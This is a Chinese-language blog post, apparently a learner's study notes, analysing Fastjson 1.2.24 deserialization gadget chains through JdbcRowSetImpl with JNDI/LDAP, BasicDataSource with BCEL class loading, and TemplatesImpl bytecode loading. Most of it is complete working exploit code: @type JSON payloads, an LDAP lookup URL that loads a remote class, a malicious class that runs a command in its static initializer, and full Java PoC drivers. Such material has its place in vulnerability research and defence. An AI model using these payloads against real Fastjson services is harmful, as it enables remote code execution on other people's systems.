Fastjson -1.2.24

学习的过程中对 FastJson 反序列化调用 getter,setter 细节条件又多了些印象

一.前言

学习了 Fastjson 基础后先说说原生,和 Fastjson 的反序列化区别

  1. 入口点:原生:readObject(),Fastjson:parseObject()/parse(),他进行利用的连接点是在 setter/特殊的 getter
  2. 属性限制条件:原生:受 transient 修饰的限制。Fastjson: public 修饰/有 setter 的私有属性都可以,也不受原生的限制
  3. 实现 serializable:原生:需要,Fastjson 不需要

相同点:

攻击的 sink 点:反射命令执行/动态类加载

二.利用链分析

2.1 出网的情况(结合 JNDI)–JdbcRowSetImpl

依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>4.0.9</version>
</dependency>
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.5</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<dependency>
<groupId>commons-codec</groupId>
<artifactId>commons-codec</artifactId>
<version>1.12</version>
</dependency>

1. 利用链分析

这条链子它是相当于 Fastjson+JNDI 注入结合。从调用的开始 FastJson 的 setter 方法,调用到可利用的 sink 点 JdbcRowSetImpl.connect(),该方法调用 lookup,能进行 JNDI 注入。

上面 dataSourceName 不为空,才进行 JNDI 注入,那就要看参数 getDataSourceName()是否可控,并且要传的话就是传的是工厂的位置。跟进发现 dataSource 虽然是私有属性,但有 setter 方法,那么就是可控的。(JdbcRowSetImpl 子类继承的父类 BaseRowSet 的 setter 方法)

继续向上找调用,还是在 JdbcRowSetImpl 类里面就有调用,经过前面的学习,直接就看 setter 方法 setAutoCommit 里面。进行调用了 connect(),参数为 boolean 值。setter 方法继续向上调就往 json 中赋值,反序列化时自动调用 setter 方法

2.构造

所以现在就能进行构造了,之前也说过 json 的 key 映射的是 set 后面的内容,value 为对应的方法传参。构造如下:

使用 yakite 反连,进行 JNDI 注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package org.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class Fastjson {
public static void main(String[] args) {
//setter:sink点进行调用或进行赋值。
String s1="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/mDCFyUlo\",\"AutoCommit\":false}";
JSONObject jsonObject= JSON.parseObject(s1);
System.out.println(jsonObject);
}

}

tips:

  • 需要注意的是,AutoCommit 的逻辑依赖于有 DataSourceName。所以字段 DataSourceName 必须在 AutoCommit 字段前面,否则先调 setAutoCommit,进而进入到 connect 里面,不会触发 JNDI。

总结:这条链比较简单,反序列化时检测到@type,将字符串进行 java 解析,调用 setAutoCommit()进而调用

connect(),该方法通过 InitialContext.lookup (dataSourceName) 发起 JNDI 查询,加载远程恶意类并执行代码。



2.2 不出网的情况–BasicDataSource


添加一个这个依赖

1
2
3
4
5
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jdbc</artifactId>
<version>9.0.20</version>
</dependency>

1. 利用链分析

危险方法在这里,com.sun.org.apache.bcel.internal.util.ClassLoader,该方法满足条件后创建一个类,从字节码进行类加载,接着找它的用法直到找到 setter 方法。创建类 creatClass 的时候进行了解码 decode,所以构造时要先编码。

  • 先看该方法的 poc 构造
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
ClassLoader classLoader = new com.sun.org.apache.bcel.internal.util.ClassLoader();
byte[] bytes = convert("D:\\Security\\test_deserialize\\Calc.class");
String code = Utility.encode(bytes,true);
Object o = classLoader.loadClass("$$BCEL$$" + code).newInstance();



//写一个convert
public static byte[] convert(String classPath) throws IOException {
File file = new File(classPath);
try (FileInputStream fis = new FileInputStream(file)) {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] buffer = new byte[1024]; // 缓冲区大小可根据需求调整
int bytesRead;
while ((bytesRead = fis.read(buffer)) != -1) {
baos.write(buffer, 0, bytesRead);
}
return baos.toByteArray();
}
}

接着就看哪个方法能调用跟这个 loadClass,在 tomcat 的一个类 BasicDataSource,有个方法 creatConnectionFactory,当 driverClassName,driverClassLoader 不为空(注意顺序),分别设置为我们编码后的恶意类和刚刚那个类加载器,就调用 forName,进而去调用 loadClass

刚好俩个私有属性都有 setter 方法,可控

构造:

Fastjson 构造的时候,key 值与 set 后面的字段映射,反序列化时调用 setter 方法进行赋值,无需反射赋值。

1
2
3
byte[] bytes = convert("D:\\Security\\test_deserialize\\Calc.class");
String code = Utility.encode(bytes,true);
String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\"$$BCEL$$"+code+"\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";

接下来就该想上找,找谁调用了 creatConnectionFactory

creatDataSource 调用 createConnectionFactory

然后一个 getter 方法 getConnection 调用 createDataSource。虽然这个 getter 方法不是特殊的 getter 方法,但用 parseObject()反序列化调用所有的 getter

2. 最终构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

public class FastJson {
public static void main(String[] args) throws Exception {

/*
String s1="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"AutoCommit\":false,\"DataSourceName\":\"ldap://127.0.0.1:8085/mDCFyUlo\"}";
JSONObject jsonObject= JSON.parseObject(s1);
System.out.println(jsonObject);*/
byte[] bytes = convert("D:\\Security\\test_deserialize\\Calc.class");
String code = Utility.encode(bytes,true);
// Object o = classLoader.loadClass("$$BCEL$$" + code).newInstance();
String s ="{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"DriverClassName\":\"$$BCEL$$"+ code+"\",\"DriverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";
System.out.println(JSON.parseObject(s));



}
public static byte[] convert(String classPath) throws IOException {
File file = new File(classPath);
try (FileInputStream fis = new FileInputStream(file)) {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = fis.read(buffer)) != -1) {
baos.write(buffer, 0, bytesRead);
}
return baos.toByteArray();
}
}


}

成功弹出

2.3 出网的情况–TemplatesImpl

回看之前 CC3 的时候,危险方法 TemplatesImpl.newInstance 从字节码中动态类加载进行攻击

刚好是一个 getter 方法(getTransletInstance)调用 newInstance,并且这个过程和 CC3 那里非常相似,_name 不为空,_class 为空,调用 defineTransletClasses 对_class 进行赋值,该方法中_tfactory有涉及到,所以需要它为声明的类型 TransformerFactoryImpl,并且该方法从_bytecode字节码中遍历加载类赋值给_class。有三个需要进行构造

但是这里调用 getTransletInstance 有一个问题,这个 getter 返回类型并不满足,反序列化的时候调不到,继续往上找

找到方法 getOutputProperties ,返回类型 Properties 继承 Map 所以反序列化能调它,找到了利用链的开头

构造

我在_tfactory 这里想了半天他在那里赋值,因为上面说私有属性_factory 它赋为 TransformerFactoryImpl,但它只有 getter 没有 setter———>反序列化的时候用 parseObject(s,Feature.SupportNonPublicField)它第二个参数为Feature.SupportNonPublicField主要用于反序列化非公有字段且无对应公有 setter , 反射机制能突破访问权限,直接对非公有字段进行赋值。

构造的时候这样写 ,并不是说给它赋值为空,fastjson 会把 {}解析成声明类型的对象实例,即 TransformerFactoryImpl 实例。包括上面的_bytecode,_OutputProperties 都是这样子赋值的

1
\"_tfactory\": {}

写了半天还是一直没弹出来,原来是和 CC3 那有关,给_class 赋值的时候调 defineTransletClasses,该方法从字节码中加载恶意类时,需要加载的类继承抽象类 AbstractTranslet,并且实现抽象方法

恶意类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Calc extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

public static void main(String[] args) {

}


}

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public class FastJson_TemplatesImpl {

public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException {


final String fileSeparator = System.getProperty("file.separator");
final String evilClassPath = "D:\\Security\\test_deserialize\\Calc.class";
String code = readClass(evilClassPath);
String s="{\n" +
" \"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\n" +
" \"_bytecodes\": [\""+code+"\"],\n" +
" \"_name\": \"FastJson\",\n" +
" \"_tfactory\": {},\n" +
" \"_outputProperties\": {}\n" +
"}";




JSONObject jsonObject = JSONObject.parseObject(s,Feature.SupportNonPublicField);



}

public static String readClass(String cls){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy(new FileInputStream(new File(cls)), bos);
} catch (IOException e) {
e.printStackTrace();
}
return Base64.encodeBase64String(bos.toByteArray());
}
}

总结

  1. JdbcRowSetImpl 该 POC 结合 JNDI,需要 RMI 或 LDAP 服务,对于检测 FastJson 是否存在,是最简单的(结合 DNSLog)
  2. BasicDataSource 它漏洞利用是最方便的,不出网,不需要依赖 JNDI 服务
  3. TemplatesImpl 利用是有限制的,需要 parseObject(s,Feature.SupportNonPublicField)对没有 setter 方法的私有属性进行赋值


Fastjson -1.2.24
https://bxhhf.github.io/2025/11/04/yuque-hexo-post/Fastjson -1.2.24/
作者
bxhhf
发布于
2025年11月4日
许可协议